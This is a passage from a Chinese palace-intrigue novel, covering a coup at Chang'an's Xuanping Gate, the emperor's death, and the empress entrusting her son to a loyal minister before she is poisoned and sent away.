乌兰晔不懂,只能睁着眼睛看着母亲。他的瞳色确实不像乌兰徵,是黑的。明绰看着他,就觉得心里涌上来一股难以置信的柔软。她轻轻地贴住了孩子的脸颊,身体前后晃:“还好娘有你。”
乌兰晔被她抱得紧紧的,又道:“那我听话,娘可以不生气吗?”
明绰闭上眼睛,只是笑:“那看你多听话吧。”
兴和十六年,在经历了一年的天灾和人祸之后,大燕终于又平静了下来。皇长子确实听话了,终于从父皇那里赢得了原谅。在乌兰晔九岁的时候,他被正式册立为太子。
也就是在差不多的时候,逃亡了近两年的贺儿冲再也耐不住外面的苦日子,偷偷地给祖父递信,想回家来。只可惜还没走到长安,就被人刺死在了郊外。
消息是方千绪进宫递来的。明绰一晚上没有睡着,天还没亮透就起来,去了福安塔。宫里贵人去世,都会在福安塔供牌位,辉儿也有自己的一方小小神龛。木牌上写了她的封号,云屏后面又加了无数贤德淑慧的字眼,长得都要写不下了。可是对她来讲,也没有什么意义。
明绰走进去之前就发现里面有人,然后不出意外地看见了乌兰徵。他可能已经在这里一整个晚上了,靠在墙边,像是睡着了,但是一听到脚步声就睁开了眼。见到是明绰,他什么也没说,甚至动也没动。
明绰也没说话,给辉儿捻了三支香。上完了,也还是沉默着,走到了乌兰徵身边,轻轻地坐在了他身边。
他们之间还留了一段距离,没有挨在一起。明绰突然想起很多年前,她半夜在额雅的房间里看到乌兰徵的时候。他们也是这样,彼此都不说话,就静静地坐着。
好一会儿,还是乌兰徵先开了口。
“贺儿冲死了。”
明绰“嗯”了一声,完全不意外。乌兰徵扭头看了她一眼,突然很轻地笑了一声。贺儿冲死得挺蹊跷的,看起来就像是他运气不好,在路上被歹人洗劫了一样。但是明绰这个反应,乌兰徵就知道是怎么回事儿了。他心里有一点点想问为什么,明绰是不相信贺儿冲被抓回来以后会被法办吗?她就非得亲自动手吗?但转念一想,他也懒得问了。
也好,省去了太多麻烦。若是走了明路,朝中又要没完没了地争论。最多关起来,拖个两年,遇到什么喜事,再求个大赦天下,贺儿冲又没事儿了。他们的手段无非如是。
他不说话,便轮到明绰转过头看着他。两人对视了一会儿,谁也没有开口。
其实这段日子他们也不是见不到,或者完全不说话。朝堂上的事情会商量,有关晔儿的事情他们也会开口。所以现在反而没了什么借口,该谈的事情都谈完了,他们坐在这里,就只有无法逃避的彼此。
明绰似是无法承受他的目光,第一个转回了头,先问他:“告诉她了吗?”
乌兰徵摇了摇头,不需要解释就知道这个“她”是谁。明绰不知道是还没来得及,还是他不想告诉段知妘。
于是她说:“该告诉她一声。”
乌兰徵只有沉默。
原来是不愿意告诉。明绰露出了一丝苦笑,叹息似的:“你比我还恨她啊。”
乌兰徵这次点了点头,只说了一个字:“恨。”
“为什么?”
乌兰徵还是只有沉默。
明绰又转头看着他:“那你爱过她吗?”
乌兰徵看着她的眼睛,看了很长时间,然后他郑重地,又点了点头。
那一瞬间,明绰突然觉得轻松了,这是她完全没有想到的。她以为的刺痛或是嫉妒都没有到来,唯一能感觉到的只有如释重负,好像一直压着她的什么东西突然被挪开了。乌兰徵承认了。明绰大口大口地呼吸了两口气,眼泪渐渐地盈满了眼眶。乌兰徵看着她,他的眼睛里也有泪水。
明绰转过头,看着高处乌兰辉的牌位,又问:“你想她吗?”
乌兰徵的眼泪流了出来,他没说话,还是点了点头。
明绰低下头,羞于承认似的:“可我好恨她是你们的女儿。”
乌兰徵看着她泪如雨下,伸出手轻轻地握住了她的。这次明绰没有挣开,听见他很轻地说:“对不起。”
明绰的眼泪落得更凶,她就那样蜷缩在墙角,哭得浑身剧颤,一句话也没有。乌兰徵靠近了她一点,
然后又靠近一点,最后把她抱进了怀中。明绰只是轻轻挣了一下,便双手环住了他的腰。乌兰徵的脸贴紧她的颈窝,像是告解一般,又说了一遍:“对不起。”
明绰闭上了眼睛。这是她在等待的原谅降临的时刻吗?她不知道。她只觉得像是跑完了一条很长很长的路,愤怒和痛苦并不是被解决了,而是随着力竭消散了。她累得不想再动,莫名想起她与乌兰徵成婚的那一天——真正成婚的那一天晚上,乌兰徵去而复返,把痛哭的她抱在怀里,给了她安静的一夜好眠。她现在唯一想要的,就是那一夜好眠。
“乌兰徵,”明绰倚在他的臂弯里,声音很轻,“我们回洛阳吧。”
第113章
御驾出城那天,万民相送。
羽林军开道,陛下骑着马,宫眷和太子都乘马车,左右都有羽林军夹彀护送。看热闹的百姓被军队隔开,遥遥地看见华盖,便山呼万岁地跪倒一片。后面百官随行,足足排出去了十里地,甚至比这些年里乌兰徵任何一次出征都要排场大。
乌兰晔把头从马车窗外探出去,一眼就看到了站在路边的冯濂之。
“停!”他喊了一句,然后不等车夫把马车完全停下就跳下了车,身手敏捷地穿过了羽林军的队伍,奔到了冯濂之面前。他一身常服,站在百姓中间。见到太子跑过来,军民都跪倒了一片。
乌兰晔不耐烦地抬了抬手,让他们都起来。冯濂之起来护着他,请羽林军把人群再往后推推。
明绰便也下了车。她的车驾一停,整个队伍就全停了,后面随行的百官没有军中令行禁止的习惯,不知道前面怎么回事,转眼就造成了混乱。明绰便让车驾如常往前,他们一会儿就追上。吩咐完再走过去,正好看见冯濂之笑着,摸了摸太子的头,而乌兰晔抓着他的袖子,满脸的不舍。
“晔儿,”明绰不用听就知道儿子说了什么,轻声道,“不要为难先生。”
当日帝后准备移驾东都的消息一传出来,贺儿冲的死讯立刻便无人在意了。这次太子也要随驾,看尚书台的意思,长安以后只会留一些礼仪性的衙署,连驻守的羽林军都再次被大幅裁撤,估计陛下和皇后以后是不会再回来了。朝中大部分人感觉出风向,都在上上下下地疏通关系,争取也能随行东去,再谋前程。
唯独冯濂之反其道而行,不仅再次婉拒了皇后的征辟,还提出了辞官。
上一次他拒绝去洛阳,是因为长安还有皇长子在,明绰实在想不出来这一次是为了什么。这些年也没有见他成家,更何况朝中举家东迁者比比皆是,这也不成理由。问了几次,才最终逼出来一句话。
冯濂之说,长安还有一塚孤坟,他若走了,就无人祭扫了。
乌兰晔不明白,所以他睁着一双眼睛,心焦地又看了母亲一眼,指望她还能再说点儿什么。但是母亲只是摸了摸他的后脑,让他赶紧跟上队伍,回马车上去。话是这么说,她自己却不动。乌兰晔一步三回头,不情不愿地跑了回去。
明绰这才转过来看定了冯濂之,两人对视一眼,莫名地同时露出了一个微笑。笑完了,明绰才轻声道:“现在改主意,还来得及。”
然而冯濂之只是沉默着摇了摇头。
“已经十多年了,”明绰仍不死心,“温大人也未必想看到你这般自苦。”
“臣甘之如饴,不苦。”
明绰便不知道还能说什么了。类似的话也不是没有劝过,但是冯濂之心眼很死。他认定了,当初是他出的主意,在温峻的上书里夹带了那么一句通风报信的话,才为温峻招来了杀身之祸。明绰百般劝慰,当初温峻是太后心腹,无论有没有他那句夹带,太后既然对丞相动手,温峻都只有死路一条。冯濂之便露出了一个讳莫如深的苦笑。
是啊,因为太后动了手,所以温峻只能死。若是他当初老老实实的,什么都不做,太后不就没有机会,那个人不就不会死了吗?
明绰知道,无论如何是劝不动了。她没有接受冯濂之的辞官,给了他一个虚衔,允许他在长安荣养。冯濂之朝她露出了一个些许悲伤的笑容,突然道:“臣辜负了皇后。”
“这叫什么话?”明绰叹了口气,“先生尽心教养太子这些年,太子不会忘记的。先生若有释怀的那一天,太子随时在洛阳相候。”
冯濂之脸上那个带着悲意的笑容未变,但没再说什么,抖了抖宽袖,朝她行了个大礼:“拜别皇后。”
明绰伸出手在他腕上轻轻一握,到底还是转过了身。冯濂之的腰一直躬着,直到她的身影重新汇入了出城的仪仗队中,才缓缓地直起了身。
“臣……”他眼中突然坠下一行泪,“来世定报皇后的大恩。”
皇后的马车已经随着队伍走得很前了,有个羽林军将领牵着马,身边带了几个人,见她回来,便露出了一个灿烂的笑容,上前行礼。
明绰认出了他:“拔都将军!”随后便看见他帽子上饰带的颜色,调侃了一句:“将军步步高升啊!”
拔都嘴咧得更开,殷勤地请她上马,只道:“陛下让队伍都停下来,等一等皇后。”
那一会儿就得人仰马翻了。明绰狠狠一夹马肚,赶紧沿着队伍往前追去。
宣平门已经大开,就等着大部队经过。乌兰徵手里握着缰绳,转过头来看见明绰,朝她笑了笑。明绰既然已经骑上了马,一时也不愿回到马车里闷着,干脆策马行至乌兰徵身边。乌兰徵在马上朝她伸出了手,明绰伸手回握,感觉到他的指腹在她指间缱绻地轻轻摩挲,然后又克制地松开。
明绰不知道她能够真正原谅乌兰徵的那一天会不会到来,但她确定,这一天绝不会在长安来临。乌兰徵似乎也是这么想的,她提出回洛阳那天,他答应得毫不犹豫。
“以后只有我们一家人。”他当时是这样说的。于是明绰想,好。这就是当初她在洛阳的时候梦寐以求的,只有他们和晔儿,一家人重新开始。
“走吧。”她也抬起头,对乌兰徵笑了笑。乌兰徵张开了嘴说了什么,然而明绰没有听见。不知道哪里传来了“咚”的一声,盖过了乌兰徵的声音。
在那个瞬间,明绰还以为这是礼乐鼓,但是乌兰徵突然整个人一个仰倒,狠狠从马上摔了下去。明绰还没反应过来怎么回事,守在她身边的拔都突然一扑,明绰毫不设防,一下子被他推到了马下。明绰在地上颇为狼狈地一滚,才避开了突然倒下的马身。一支羽箭深深地自上而下扎进了马脖子里,如果刚才明绰还坐在那里,这支箭就会穿透她的身体。
“咚”,又是一声鼓。
拔都“唰”地拔了剑:“保护皇后——”然而话音未落,不知道哪里伸出来一把刀,利落地从他甲胄的边缘处刺进了身体。拔都的眼睛睁得大大的,难以置信地看着身边同样身着羽林军服制的同僚:“你……”
长刀拔了出来,动手的羽林军转过脸,又朝明绰举起了刀。但是死亡来得比他的刀更快,一柄长剑突然从后方削过来,划开他的后颈,精准地切断骨头,力道之大,恨不得要把他的头整个砍下来。他一声儿也没发得出来,就往前一扑,倒在地上死了。
乌兰徵手持长剑,站了起来。明绰这才看清楚,他刚才往后摔是因为胸口钉了一箭。还好他今日穿了胸甲,但那一箭力道之大,还是把甲都撞得凹陷下去一块。他毫不在意地把箭拔|出来,一只手伸过来,把明绰护在了怀中。在听到乌兰徵大声下令之前,她先感到了他的心跳。
“咚”。原来是战鼓。“咚”。还是他的心跳?
周围已经杀声四起,但明绰不知道是谁在杀谁,因为所有人都穿着同样的羽林军服制——然后她意识到,就是羽林军里有人反了。乌兰徵也想到了,伸脚踢了地上的死人一脚,把他踢翻过来,两眼在他身上一扫就发现了他右手腕子上用了不同的鲜红色绑袖。
“谋反者佩红袖!”乌兰徵扬声下令,“杀无赦!”
他一边说,一边护着明绰快速移动,恨不得单手把她夹在腋下跑。明绰还是愣愣的,直盯着地上那具尸体,乌兰徵还以为她吓着了,刚要安慰一句,就听到明绰突然道:“是段锐!”
乌兰徵因为她的话停了下来,又回头看了一眼。那不是段锐,但是明绰想起来了,十多年前,她去齐木格府上救萧典的时候,段锐带了三十个人来护送她,其中就有这张脸。
只这一愣之间,箭又来了。乌兰徵拽着她,险而又险地砍断了一支飞过来的羽箭,箭簇几乎就在她眼前失去了动力,颓然坠地。就在那一瞬间,明绰猛地抬头,看清了箭射过来的方向。
段知妘站在宣平门高处,从雉堞后面露出了脸。一身戎装,手中拈箭
,几乎是气定神闲地,又缓缓把弓重新拉满。
段太后是能上阵杀敌的女中豪杰,这是明绰十岁就知道的事情,但她从来没有亲眼见过段知妘穿甲拉弓。她似也已经久不操练了,准头很不行,半天也没真射到乌兰徵身上。但她不着急,唇边甚至露出了一丝微笑,像一只正在玩弄猎物的猫。
段锐就站在她身边,双手击鼓,越敲越急。随着鼓点的指挥,更多的人从宣平门旁边的树林间冲了出来,每一个都身着羽林军的服制。
不可能。明绰心里只有这个声音,她哪里来这么多的人手?
“乙满!”明绰咬牙切齿,惊惶地环视,试图找到乙满的踪迹。方千绪是对的,乙满怎么会平白无故把雍州军旧部调回长安……可是她明明警觉了,明明一直派人盯着,段知妘到底是什么时候神不知鬼不觉地……
一个新的念头不可抑制地从她心里升了起来——冯濂之!
一匹马撒开蹄子从他们身边跑过,马上的主人已经无力地扑倒,背上插着一支长箭。乌兰徵一把把死尸推下去,把明绰抱到马上。
“走!”
“不行!晔儿……”明绰叫了一声,“晔儿呢!”
太子的车驾很显眼,一眼就看到了,明绰倒抽了一口冷气——有个羽林军模样的人跳上了马车,一刀朝着车里捅了进去。
明绰一声尖叫:“晔儿!”
又有两个人跳出来,乌兰徵不得不拔剑相迎。明绰的视线就没有离开过马车,只见更多羽林军扑上去,乱刀砍死了那个行刺太子的人。车帘被掀了开来,晔儿在哭,怀里抱着满身是血、已经不动了的秋桑。
“娘……”乌兰晔抬着头,到处在找,“阿娘!”
一双手伸了过来,一把抱住了乌兰晔。他惊恐不已地紧紧攀住秋桑的尸体,然后才听见方千绪的声音。
“殿下!”方千绪硬是掰开他抓着秋桑的手指,把他抱到自己的马上,“是臣!”
段知妘低头看着下面乱成一团的战局,似是玩够了,把弓收了起来。乙满从她身边露出了脸,接过了她手中的弓。
今天人太多了,这场伏击也太出乎意料了,任乌兰徵身经百战,也反应不及。从高处看下去,长蛇般的队伍沿着城中主道蜿蜒,还根本不知道宣平门发生了什么,仍在往前。大量的百姓在凑热闹,牵制着羽林军。乌兰徵像一条笨拙的巨蛇,一头钻进了陷阱里,然后被自己巨大的身躯困死。
明绰已经奔至乌兰晔身边,把浑身颤抖的儿子紧紧抱在怀里。训练有素的忠诚羽林军迅速围过来,在陛下和皇后、太子身边围成一个圈保护。乌兰徵在一片狼藉中抬起了头,与城楼上的女人视线交接。
“关城门。”段知妘轻声下令。
乌兰徵立刻明白她要干什么,大喝了一声:“方千绪!”
“臣在!”
“带着皇后和太子先走。”但是明绰和晔儿都同时叫了起来:“不!”
“走。”乌兰徵的视线始终没离开城楼上的段知妘,“你们先出城,朕料理完就来。”
他的语气很平静,好像没把这个局面当回事。明绰毫不犹豫地相信了他,他打过太多次仗了,这不算什么。晔儿坐在她的马上,被她紧紧抱在怀里,方千绪没有浪费一点时间,立刻纵马开路。乌兰徵也上了一匹马,往相反的方向去。
不出他所料,段知妘的兵马立刻紧紧追随着他,呈半包围状逼近,阻拦他向宣平门靠近。地方不够,每个人不是这里中招就是那里,尸体很快就在地上躺得横七竖八。
方千绪护着明绰和太子,身边只有不到十人,飞快地从已经开始缓慢闭合的宣平门中冲了出去,一路砍翻试图阻止的人。
“太后,”段锐请示了一句,“追么?”
段知妘只沉默了很短暂的半刻就下了命令:“不追。”
乌兰徵确实身经百战,他一眼就看破了段知妘的企图,已经放弃从宣平门突围,反而命令羽林军清理往城内撤退的路。后方已经意识到发生什么了,蛇形的队伍在迅速崩解。一旦让他脱离宣平门这方寸之地的陷阱,一切就都完了,追皇后母子毫无意义。
萧明绰的命取不取,她要再想想。但乌兰徵一定得死。
段知妘:“拿我的刀来。”
城楼下沉重的朱红木门在好几个人的合力推动下缓慢地继续闭合。
方千绪猛地勒住马头,意识到皇后停下了。他也不得不回转过来,又催促了一遍:“皇后,快走!”
但是明绰没有理他,从缓缓闭合的城门缝隙里看过去,只见刀光剑影,血肉横飞。明绰胃里突然狠狠地坠了一下,一股强烈的灼烧感涌上来,火舌瞬间吞噬了她的心。就在那一刻,她意识到了什么,突然把晔儿从自己马上抱起来,交给方千绪,然后转头就跑。
她看到了乌兰徵的脸。他看起来有一些茫然,像是不太相信即将要发生的事。身上还有好多血,明绰习惯性地以为那是别人溅到他身上的。乌兰徵一向如此,他没有败过,他不会受伤。直到他整个人突然矮下去一截,明绰都没有意识到,那是他无力地跪倒了下来。
城门继续在闭合。一只手伸到了他的额前,一只女人的手,曾无数次地这样爱抚过他,像是只想为他梳头。乌兰徵被迫仰起了头,露出了脖子。他看着明绰,这个距离他应该看不见了,但明绰就是觉得,他在看着自己。她驱动着马,已经听不到方千绪和乌兰晔都在呼唤她。一柄刀就这样伸到了乌兰徵的脖子前面,然后段知妘利落地割开了他的喉咙。
城门发出沉闷的一声响,彻底关上。
长安血流成河。
第114章
方千绪停在门外,轻轻敲了敲,但里面始终没动静,他便没再等下去,推开门。农舍里坐着一个女人,没有点灯,她的膝上还卧着一团小小的影子,孩子均匀而沉重的呼吸声盈满了整个房间。
也只有乌兰晔还能睡得着了。他再提心吊胆,终究只是个孩子,这样没命地逃,早已体力不支。
方千绪把手里一碗肉汤放下,又为明绰点上灯,轻声道:“好歹吃点东西吧,不然没有力气赶路了。”
明绰还是不说话,定定地看着虚空,昏暗的烛光照亮她眼下的青影,还有沿着颧骨凹陷下来的两颊。她像是一夜之间老了十岁。
她本来不信自己看到了什么。那个距离太远了,她不应该还看得清。她发了疯似的要回去,被方千绪硬是拖走了。他们跑啊,跑啊,几乎日夜不休,全靠沿途找村落农舍讨食歇息,都快跑过潼关了,乌兰徵还是没有来会和。今日明绰说什么也不走了,让乌兰晔能好好睡个觉。她哄孩子,说的是等一等父皇,但方千绪知道,可能乌兰晔也知道,父亲不会再来了。
明绰低下头,手指轻轻地拂过孩子沉睡时的鬓角。他长得
多像他父亲啊。
“等段知妘追上来,”明绰的声音很轻,怕惊醒儿子,“你就把我们母子交出去。”
方千绪猝然转过脸,硬是控制住了眼泪流出来,硬邦邦地咬着牙道:“洛阳还有石将军,我们还可以……”
明绰的声音平得没有一点起伏:“我们走不到洛阳了。”
一片沉默,然后方千绪的声音也平复下来,两个人像是在谈一件再平常不过的事情,没有一个人有多余的情绪。
“她不会放过我。”
“她会。”明绰说得很简单,“交出我和晔儿,告诉她,贺儿冲是你派人杀的……”
方千绪冷笑了一声,明绰便没响,她实在提不起力气跟他争论。等了好一会儿,见方千绪也没有说话的意思,才继续往下说。
“乙满愿意与她联手,是为了除去贺儿氏。”这些事情她在心里已经盘算了多日,现在都想明白了,“现在不只是乌兰七姓,其余诸部权贵也都落进了乙满手中。晔儿还年幼,他好做第二个齐木格……”明绰顿了顿,甚至还笑了一声,“不,他会远超当日的齐木格。”
若是乌兰徵活着,萧皇后掌权,乙满永远都不会有那一天。
“段知妘与乙满合作是与虎谋皮,她自己心里也知道。所以她需要汉臣。”明绰平静地看着方千绪,“需要你。”
方千绪闭上眼,牙关咬得死紧,下颌绷出一条可怕的线。
“还有冯濂之……”
“冯濂之叛了你。”方千绪突然打断她,怕她还不知道似的。明绰停下来,缓慢地吸了口气,就跟没听到似的,继续往下说。
“不要告诉晔儿这个。让冯濂之继续辅佐晔儿……”
“长公主!”
“冯濂之只想复仇。”明绰好像在说别人的事,“他根本不在乎借的是谁的手,最后得益的又是谁。他和乙满、段知妘都不一样,权势非他所愿,他只要杀温峻的人死。”
其实他早就说过了。当着她的面,说乌兰徵是昏君。梁芸姑也提醒过,这样深的怨气,只怕不能用——芸姑总是对的。但明绰以为那不过是一时激愤之言,雷霆雨露皆是君恩,蚍蜉再激愤,也不可能撼动大树。而且这么多年来,冯濂之对她的感念和报效,对乌兰晔的付出和用心,不可能都是假的。
可是他也坚决不肯来洛阳,明绰现在才意识到,那是他无法掩藏的对乌兰徵的恨。
小小的蚍蜉等待了十几年,终于等到了撼动大树的机会。已经没有人还记得他的朋友了,可是他记得。那个人曾经像蝼蚁一般被碾死,现在蚍蜉要为蝼蚁复仇。
她还是太低估他为奴十数载磨练出来的忍耐与决心了。
“温峻的头是乙满亲手砍下来的,”明绰的声音近乎冷酷,“他投向太后,又辞官避祸,就是以退为进。等太后扶新帝登基,必会起复他。他的下一个目标,就是乙满。左公不妨装作什么都不知道,与他合作,等除去乙满之后,再设法杀他。”
“等他位高权重,我还杀得了他吗?”
“我信左公之才,必能杀之。”
“那段太后呢?”方千绪反问,语气讽刺,“你也信我必能杀得了她?”
明绰顿了顿,似是认真地在想这个问题,末了,只道:“晔儿不会忘记宣平门的。”
段知妘大概也会忌惮,但乌兰徵没有别的儿子了,她没有选择。所以明绰才需要方千绪在晔儿身边,低头蛰伏,斡旋各方,保护他长大。到那一天,段知妘自有她的结局。
“那他也不会放过冯濂之。”方千绪看着她,“为什么不告诉他?”
“他信任的人本就不多了,冯濂之是他从小……”明绰哽咽了一句,没说得下去,“做皇帝本就是孤家寡人,我不想他一辈子都活在猜忌里。”
还是一片沉默。方千绪看着她,突然仰起头,释出了一声带着泪意的叹息。
“还有……”明绰摸了摸身上,本想找一件萧盈还认得的物件,可是十几年了,她哪还有随身的旧物件。她只好拔了头上的钗,勉强希望萧盈能被说服,“等我一死,皇兄必欲出兵报复,建康朝中看到燕主年幼,多半也不会有什么好心。届时请左公把这个交给大雍使臣,就说我临终恳求,请皇兄不要为难我的儿子。”
方千绪接过了她的发钗,半晌都没有说得出话。她连这个都想到了。
“我还记得,长公主当年与我论战长沙王之谋,全是纸上谈兵。”方千绪笑了一声,一行眼泪不受他控制,还是滚了下来,“如今你什么都谋算得好,可还是忘了一件事。”
明绰抬起头看着他,等他往下说。
方千绪耸了耸肩:“我老了。我要是熬不过乙满,也熬不过冯濂之呢?”
明绰有一会儿没说话,她似乎真的没有想到这一点,但她想了想,只道:“那就是天命如此。”
方千绪竟被她的豁达逗笑了,可是更多的眼泪同时又坠下来,他低下了头,无奈似的摇了摇头。
不应该是这样的,长公主昨日还是个小丫头,胆大包天地从太后手下救了王家的女儿,一步一停地往山上去。她不该坐在这里,怀里抱着她的孩子,向他交代后事。她自己还是个孩子啊,他应该走在她前面的。
明绰也笑了,看着他,然后又收敛了笑意。
“左公,”她的声音那样轻,交托却那样重,“我把我的儿子,托付给你了。”
方千绪克制着情绪,好一会儿,跪在了她面前。明绰的视线跟着他落下,看着他伸出手,牢牢地握住了自己的。
“长公主,”方千绪承诺她,“我绝不负你。”
明绰又笑了,几乎是释然的:“好,那我就可以放心去陪他了。”
远处已经传来了马蹄声,两人近在咫尺的对谈都没有惊醒熟睡的孩子,那隐隐的马蹄却让乌兰晔在睡梦中都不安地皱眉。方千绪马上站了起来,明绰却仍是不为所动的样子,安抚地拍了拍儿子,只道:“你去吧。我想再陪陪晔儿。”
方千绪出去了,明绰轻轻地搂紧了怀里的孩子,她应该现在把他叫醒,再说点儿什么吗?可是她不知道还能够说什么,她能够想到的,已经全都交代给方千绪了。他的童年原本就稀薄得几乎像没有一样,可是这一次,是真的要彻底结束了。她还想给他再唱一支哄孩子睡觉的歌,好像这样就能留住一点儿什么。但她也想不起来。她亲自带孩子的时间太少了,她不会唱。她亏欠孩子的,怎么这样多啊?
明绰在此刻又想起了自己的母亲。当年谢拂霜兵败之后,曾有一个短暂的机会,在父亲的尸体前与兄长谢聿密谈。明绰在母亲临终前才知道,那时她交代了谢聿,一定要想办法把东乡公主送去大燕。明绰其实一直不明白,母后不恨吗?兄长这样负她,她为什么最后还要把女儿的命运托付给兄长?现在她终于明白了。
走到最后一步的时候,她没有精力再去为了自己而恨。她的每一分心神,都在为她的孩子打算。她甚至没有时间去感受乌兰徵已经死了这个事实——这件事太不真实了,一想起来,她的心脏就好像被蛇咬了一口,全身都是麻的,动不了。她只能一遍一遍跟自己说,没关系,她马上就能去跟他在一起了。
农舍的门被轻轻推开,段知妘站在了门口。
明绰光听动静就知道,她带来了很多人。其实这是完全没有必要的,皇后身边只有不到十个羽林军护卫。今天明绰说不跑了,要让太子休息,方千绪还分出了两个人先去传信——他们也走不到洛阳的。太后已经控制了通往洛阳的路,他们会死在驿站,或是道旁。
乙满也来了,但是段知妘抬起手,没让他进来。乙满犹豫了片刻,似是决定给她这个颜面,留在了门外。但是他示意两个手下走了进来,要抱走乌兰晔。明绰没有任何反抗的意思,只是轻声道:“别把他吵醒了。”
晔儿实在是太累了,他没有醒,只是在离开母亲怀抱的时候哼了一声,手还握着母亲的
衣襟。明绰小心地把自己的衣服从他手里拉出来,一切都是无声的,然后他们抱着乌兰晔出去,交给了乙满。
他进门的时候还是太子,出去的那一刻,就已经是大燕的新帝。
得到了乌兰晔,乙满就放心了,段知妘回过头冷冷地看了他一眼,然后掩上了农舍的房门。
房间里面彻底安静了下来,明绰还是坐着,抬起头,平静地看着段知妘。她仍着戎装,头上没有戴盔,和男人一样,把头发高高束起。明绰想起她很久以前听说的故事,段知妘十七岁那年,她父亲战死。羌人趁虚而入,以为终于可以破开雍州的城门。没想到遇到了披甲上阵的段氏女,整个雍州,只有三十几个人肯信她,跟着她出城迎敌。段氏女剑走偏锋,穿过乱军,夜袭敌营,取了羌人将领的首级。自此一战立威,整个雍州都服了她。
那时的明绰还在建康高高的宫墙后面,她好佩服她,也好敬仰她啊。
“杀了他,你痛快了吗?”明绰问她。
但是段知妘没有回答这个问题,她取出了一张帛书,扔到了明绰脚边。明绰看了一眼,帛书露出的几个字已经说明了这是一封废后诏书,所以她根本没有捡起来。他们会怎么昭告天下呢?明绰设身处地,如果她是段知妘,她会说是皇后起了谋逆之心,伏杀了陛下。洛阳那边忠于皇后的人有多少会信不重要,他们可以名正言顺就好了。
于是她问了第二个问题:“我会怎么死?”
段知妘还是没说话,但她解下了腰间的水囊,居高临下地再次扔在了明绰的脚边。
明绰弯腰捡了起来,拔了木塞,闻见了一股酒味。
段知妘突然说:“方千绪告诉我,杀贺儿冲是你的意思。”
明绰“嗯”了一声,什么都没说。什么都不必要说了,这件事可以救方千绪的性命,但救不了她的。她也不会以此来向段知妘乞怜。她们斗了这么多年,这点体面和默契还是有的。
明绰一点儿犹豫都没有,举起水囊喝了一口。是好酒,一把火似的,沿着她的胸腔烧下去。她的脸皱起来,似是很好奇,又问:“你把贺儿氏怎么样了?”
段知妘的嘴角勾了起来:“他们祖孙四代,现在都在辉儿灵前跪着了。”
哦,真的制成干尸了。还真是说到做到。
明绰又喝了一大口,似是渴极了。但水囊里的酒不多,这就见了底。明绰很遗憾似的,把空水囊扔了回去,抬起头问段知妘:“我还能跟他合葬吗?”
不出意外地,段知妘摇了摇头。明绰苦笑了一声,终于坠下了一行泪。是啊,起兵谋逆被废的皇后,怎么还能跟先帝合葬。她其实不在乎自己的尸身会有什么遭遇,反正她感觉不到了。她就是担心,到了那边,她会不会找不到乌兰徵?
应该死在他身边的。
“你可以被葬在大雍。”段知妘突然对她说。明绰猛地抬起了头:“什么?”
“这毒,要七天之后才会发。”段知妘垂眼看着她,“我给你一匹马,你有足够的时间回到大雍边境。派个人,让你皇兄来给你收尸。”
明绰微微怔愣,然后明白了什么似的,含着泪笑了出来:“你怕我皇兄出兵。”
大雍嫁来的公主谋逆造反,兵败身死,他们却还是把全尸送了回去,算是仁至义尽了,大雍天子再想做点儿什么,多少有点儿理亏。
可是明绰也没那么想成全她:“我要是不想回去呢?”
段知妘叹了口气:“你儿子就活不成了。”
明绰根本不信:“那你还能选谁?”
段知妘笑了一声:“谁都比他强啊,把他养大了,他说不定还要找我报仇呢。”
明绰不说话了。段知妘做不出来吗?她完全可以抱一个孩子出来,说是乌兰徵的遗腹子,随便编一个故事就好了。谢太后当年不就是这么做的吗?
自然,洛阳那边的朝臣们不太可能会信这个,乙满也不一定能够被说服,所以段知妘最好还是选择乌兰晔——只是最好,不是非得。
她没有什么是做不出来的。
于是明绰也没什么可以说的了。她点了点头,站了起来。段知妘让了让,允许她经过自己身边,走了出去。
外面的人都围着,见她出来,空出了一大块地方。方千绪跪在地上,脖子里架着一柄刀,看起来不怎么妙,但明绰知道,段知妘没当场杀了他,就不会杀他。她最后环视了一圈,没有看见晔儿。
段知妘招了招手,让人牵了一匹马过来,看着明绰爬上了马。
“你若敢回头,我就杀了他。”段知妘轻声细语地对她说,“你若敢去洛阳,我也会杀了他。”
明绰点了点头,然后段知妘狠狠地在她的马臀上抽了一下,那匹马扬起蹄子,嘶叫了一声,跃了出去。
就在那一瞬间,一个孩子突然蹿了出来,绝望地叫了一声:“娘!”
明绰听见了,但她也听见了拔刀的声音。她仓皇地回过头,没有看到儿子,只看到段知妘威胁的眼神。明绰一个激灵,马上转回了头,用力抽打了一下马,奔得更疾。方千绪突然挣脱了架在脖子上的刀,往前一扑,紧紧地抱住了乌兰晔,用自己的身体护住了他。但是乌兰晔察觉不到身边的危险,他只是不顾一切地想要追上母亲。
她为什么看都不看自己一眼就走了?她要去哪里?为什么不带他?
“娘!”他的嗓子破了音,“别走!娘——”
可是明绰没有回头。她曾被连根拔起,只能随着风往长安飘。如今又身无一物,轻捷地重新被风带走,消失在了黑暗中。
第115章
景平二十九的冬天,似是比前几年都冷得厉害。十月里就落了第一场雪,飘飘扬扬,天地间一片素白。含清宫巍峨地立在雪中,台阶上散落着几个宫人,徒劳地将雪扫开,不多时便又积上薄薄一层。
袁增才走了几步,任之便从阶上快步下来,躬身扶他。袁增没敢真的让他扶,微微一退,也行了个礼:“内贵人。”
“台阶滑,大将军小心些。”任之还是微微弯腰,恭敬地伸出半条胳膊让他扶,“陛下已经在候着了。”
“是。”袁增应了一声,加快了脚步,拾级而上。任之跟在他身边,及时地在门口通报了一声:“大将军到!”然后便有人打开了宫门。袁增在殿门口便脱去了鞋履,恭敬拜倒,先把大礼行完,听见里面传出来让他起来的声音,才起了身,还是弓着腰,一路小步进了内室,还未敢抬头正眼看萧盈,就又跪了下来。
内殿里地龙烧得正旺,与外面的天寒地冻仿佛两个世界。萧盈坐在榻上,一条膝盖支起来,搭着自己的手肘,姿态闲逸放松,不似在太极殿上正襟危坐。身上穿的也只有一件素色的单衣,不束冠,只为了方便将长发松垮地束了一把,绸缎似的从肩上披下来。
“大将军太多礼了。”萧盈话音有些有气无力的味道,充满了倦意,“起来吧。”
袁增这才直起身,看见谢聿和桓廊都在一旁,分别朝二位行了两个礼,他们也都各自还礼。萧盈就默默地等着,垂着眼睛,手中把玩着什么物件。等礼数都周全了,袁增才看了一眼,萧盈手中的是一枚女子发钗,样式简朴,但镶以颜色鲜艳的珊瑚和翠石,可是宝石又打磨得不圆,颇具北地胡风,不像建康女子会戴的东西。
萧盈一直握着那钗,指尖慢慢地摸索过宝石尚存的棱角,眼睛都没抬,只问:“伯彦和仲宁到哪里了?”
“回禀陛下,袁煦将大营设于汉水之畔,袁綦领了八千人,已至南阳,随时可向洛阳进兵。”
萧盈点了点头,示意他继续往下说。
